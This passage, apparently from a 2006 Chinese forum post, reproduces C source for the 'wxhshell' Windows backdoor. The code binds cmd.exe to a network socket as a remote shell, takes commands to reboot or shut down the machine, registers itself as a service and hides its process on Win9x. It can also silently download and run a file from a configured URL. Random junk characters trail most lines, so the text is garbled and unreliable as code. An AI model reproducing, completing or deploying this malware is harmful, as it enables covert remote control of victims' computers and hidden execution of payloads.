  rQ*Fc~^L  
  // 帮助 2/ES.>K!.  
  case '?': {  <RaM@E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ZJ Ke}F`l  
    break; N ">4I)  
  } l1?$quM^V  
  // 安装 `{GI^kgJ9  
  case 'i': { P56B~M_  
    if(Install()) *@1(!A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V@C8HTg  
    else k/;%{@G)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6J""gyK.  
    break; )5NjwLs  
    } AIU=56+I\  
  // 卸载 iT2{3 t  
  case 'r': { f}%paE"  
    if(Uninstall()) %/:0x:ns  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DY(pU/q  
    else Am @o}EC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _< LJQ  
    break; R|u2ga ~  
    } ;if PqL kO  
  // 显示 wxhshell 所在路径 %UXmWXF4$  
  case 'p': { C^^AN~ZD  
    char svExeFile[MAX_PATH]; XTro;R=#  
    strcpy(svExeFile,"\n\r"); |T)  $E  
      strcat(svExeFile,ExeFile); J\%SAit@  
        send(wsh,svExeFile,strlen(svExeFile),0); JOUZ"^v  
    break; mQka?_if)  
    } p`I[3/$3  
  // 重启 m*f"Y"B.1I  
  case 'b': { N}\%r&KR=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o0}kRL  
    if(Boot(REBOOT)) 6a!b20IZh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V<&^zIJUR  
    else { ARd*c?Om  
    closesocket(wsh); \M U-D,@  
    ExitThread(0); qe<xH#6  
    } kIwq%c;  
    break; &ra2(S45  
    } ;Zt N9l  
  // 关机 9pMXjsE   
  case 'd': { pt_]&3\e  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6'[gd  
    if(Boot(SHUTDOWN)) ~LF1$Cai  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rf=oH }  
    else { N eC]MW  
    closesocket(wsh); 9@^N* E+  
    ExitThread(0); {\u6Cjx  
    } X@pcL{T!  
    break; Q u_=K_W  
    } m8Y>4:Nw  
  // 获取shell Y~Z&h?H'}  
  case 's': { m8,jVR  
    CmdShell(wsh); wvcj*{7[  
    closesocket(wsh); > Hwf/Gf[  
    ExitThread(0); Z/e^G f#i  
    break; *bl|[(pP  
  } 6c[Slq!KA  
  // 退出 ZU68\cL  
  case 'x': { 8O| w(z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =v(&qh9Q2  
    CloseIt(wsh); HXb^K  
    break; U: q4OtiP  
    } aHkt K/  
  // 离开 -,qGEJ  
  case 'q': { b`fWT:?=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ys- w0H  
    closesocket(wsh); ">v- CSHY  
    WSACleanup(); o\N^Uu  
    exit(1); Egi(z9|Pp  
    break; 9ePR6WS4  
        } r*kz`cJ  
  } ^ ~kfo|  
  } 9|l6.$Me/  
d04fj/B  
  // 提示信息 ?`3G5at)9f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TdL/tg!  
} 2v{42]XYf  
  } sB=s .`9  
,Yu2K`  
  return; (gEz<}Av.  
}  ,8)aK y  
lFV\Go  
// shell模块句柄 Sd *7jW?  
int CmdShell(SOCKET sock) *(o^w'5  
{ TeHxqWx  
STARTUPINFO si; 4hWFgk  
ZeroMemory(&si,sizeof(si)); TUX:[1~Nf[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q22@ZRw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rI'kZ0&  
PROCESS_INFORMATION ProcessInfo; ,veo/k<"r8  
char cmdline[]="cmd"; 1[]V @P^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]T>|Y0|  
  return 0; c|F26$rv  
} F#Bi*YY  
+a|u,'u  
// 自身启动模式 asL!@YE  
int StartFromService(void) `^: v+!  
{ F> b<t.yV  
typedef struct *fp4u_:`  
{ tN_~zP  
  DWORD ExitStatus; "u3 N9  
  DWORD PebBaseAddress; M5`wfF,j  
  DWORD AffinityMask; iUk#0 I  
  DWORD BasePriority; "Xj>dB1~  
  ULONG UniqueProcessId; = /kT|  
  ULONG InheritedFromUniqueProcessId; \]qwD m/  
}   PROCESS_BASIC_INFORMATION; ^)1!TewCY  
h{CMPJjD  
PROCNTQSIP NtQueryInformationProcess; 8nTdZu  
bJB* w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {W%/?d9m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BFPy~5W  
Wl{wY,u  
  HANDLE             hProcess; kj@m5`G  
  PROCESS_BASIC_INFORMATION pbi; :o_6  
~-BIU Z;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r1zuc:W 1  
  if(NULL == hInst ) return 0; x?2y^3<5  
`r+`vJ$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]64?S0p1c!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q@- h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R QCKH]&!  
|$`I1  
  if (!NtQueryInformationProcess) return 0; | (: PX  
,S7M4ajVZB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Zrp9`~_g<!  
  if(!hProcess) return 0; E|ZLz~  
%5/h;4   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p2j=73$  
jEW@~e  
  CloseHandle(hProcess); qViolmDz  
to3D#9Ep  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c59l/qoz  
if(hProcess==NULL) return 0; d~w}{LR[1  
/;9]LC.g  
HMODULE hMod; 0[!38  
char procName[255]; F2Co Xe7  
unsigned long cbNeeded; NplkhgSj  
jHpFl4VPz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *h2)$^P%  
#6za  
  CloseHandle(hProcess); ("_tML 8/p  
0BQ<a  
if(strstr(procName,"services")) return 1; // 以服务启动 }zqYn`ffD  
Q*caX   
  return 0; // 注册表启动 Jtl[9qe#]  
} 8\rHSsP  
pu5-=QN  
// 主模块 S@eI3Pk E  
int StartWxhshell(LPSTR lpCmdLine) z=a{;1A  
{ 2w67 >w\  
  SOCKET wsl; 84YZT+TEN  
BOOL val=TRUE; gf U!sYZ  
  int port=0; Hh0a\%!  
  struct sockaddr_in door; ['_G1_p  
Hbi2amfBu  
  if(wscfg.ws_autoins) Install(); #AUa'qB t  
< c[dpK5c  
port=atoi(lpCmdLine); 'E~[I"0  
a[Oi  
if(port<=0) port=wscfg.ws_port; X5wYfN  
Wj#Gm  
  WSADATA data; 5mF"nY&lI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IQQWp@w#8  
~U_,z)<`)c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Qh@A7N/L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e X q}0-*f  
  door.sin_family = AF_INET; |T^c(RpOE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *8j2iu-|  
  door.sin_port = htons(port); P]||Xbbp  
X00!@ ^g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w|WehNGr  
closesocket(wsl); f iu?mb=*  
return 1; jwZBWt )5  
} w65D;9/;  
3*$)9'  
  if(listen(wsl,2) == INVALID_SOCKET) { i;8tA !  
closesocket(wsl); )gP0+W!u  
return 1; ^PI8Bvs>j  
} Hm55R  
  Wxhshell(wsl); h`,!p  
  WSACleanup(); x1{gw 5:  
>s+*D=k  
return 0; $r87]y!  
E0a &1j  
} =)9@rV&~  
1b-_![&]1  
// 以NT服务方式启动 h?ZxS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x"QZ}28(t  
{ FZ^j|2.L*  
DWORD   status = 0; %{ToWLb{I  
  DWORD   specificError = 0xfffffff; C"!k`i=Lj  
ds"q1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; sZ9VXnz24  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )I`Ma6bX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M;K%=l$NG  
  serviceStatus.dwWin32ExitCode     = 0; fG*366W  
  serviceStatus.dwServiceSpecificExitCode = 0; m6oaO9"K  
  serviceStatus.dwCheckPoint       = 0; l gzA) (  
  serviceStatus.dwWaitHint       = 0; p2: >m\  
,wE cRN w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); JM-+p  
  if (hServiceStatusHandle==0) return; Yx{qVU  
Kt3 ]r:&J  
status = GetLastError(); 9k[>(LC  
  if (status!=NO_ERROR) wc#E:GJcK  
{ X,"(G}KUA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mIX[HDy:V$  
    serviceStatus.dwCheckPoint       = 0; Xv'5%o^i*  
    serviceStatus.dwWaitHint       = 0; d~U}IMj  
    serviceStatus.dwWin32ExitCode     = status; x[5uz))  
    serviceStatus.dwServiceSpecificExitCode = specificError; yq2pg8%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~t-!{F  
    return; Vy7o}z`  
  } `gFE/i18  
~'<ca<Go|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o)pso\;  
  serviceStatus.dwCheckPoint       = 0; ]1(G:h\  
  serviceStatus.dwWaitHint       = 0; -*T<^G;rK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d`+@ _)ea  
} n^2p jTkl  
r1)@ 7Nt  
// 处理NT服务事件,比如:启动、停止 BQfq]ti  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t/TWLhx/  
{ +__PT4ps  
switch(fdwControl) ^<VJ8jk<  
{ 3EN(Pz L  
case SERVICE_CONTROL_STOP: chF@',9t  
  serviceStatus.dwWin32ExitCode = 0; gLL8-T[9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -x?I6>{  
  serviceStatus.dwCheckPoint   = 0; $+$S}i=  
  serviceStatus.dwWaitHint     = 0; ,=@%XMS  
  { ?|;q=p`t-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vRQ7=N{3  
  } #7}1W[y9}l  
  return; y:R!E *.L'  
case SERVICE_CONTROL_PAUSE: 86AZ)UP2D  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7} 2Aq  
  break; ~d072qUos  
case SERVICE_CONTROL_CONTINUE: M)JKe!0ad1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,s9gGCA  
  break; A3 |hFk  
case SERVICE_CONTROL_INTERROGATE: :_f5(N*{5o  
  break; Y3QrD&V  
}; 2aR<xcSg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c?0.>^,B Q  
} o'SZ sG  
AYP*J  
// 标准应用程序主函数 t.`&Q|a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q`kJ3b   
{ v?=y9lEH@%  
#oX8EMqs<  
// 获取操作系统版本 XDdF7i}  
OsIsNt=GetOsVer(); Fb0r(vQ^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zG. \xmp  
vk&6L%_~a  
  // 从命令行安装 ym =7EY?o  
  if(strpbrk(lpCmdLine,"iI")) Install(); j @HOU~x  
tvlrUp  
  // 下载执行文件 (rfR:[JkC2  
if(wscfg.ws_downexe) { p?v.42R:z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _P{f+HxU  
  WinExec(wscfg.ws_filenam,SW_HIDE); P< 5v\\  
} `UK'IN.il  
]9P2v X   
if(!OsIsNt) { #@3& 1 }J/  
// 如果时win9x,隐藏进程并且设置为注册表启动 n,_q6/!  
HideProc(); <Cbi5DtR  
StartWxhshell(lpCmdLine); NrK.DY4  
} Y*Ra!]62  
else ls*bCe  
  if(StartFromService()) L<62-+e`  
  // 以服务方式启动 o<8('j   
  StartServiceCtrlDispatcher(DispatchTable); e>] gCa  
else =+z+`ot  
  // 普通方式启动 NtfzAz/  
  StartWxhshell(lpCmdLine); aVvma=  
Id}/(Pkq  
return 0; {gkzo3  
}
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只看该作者 1 发表于: 2006-10-10
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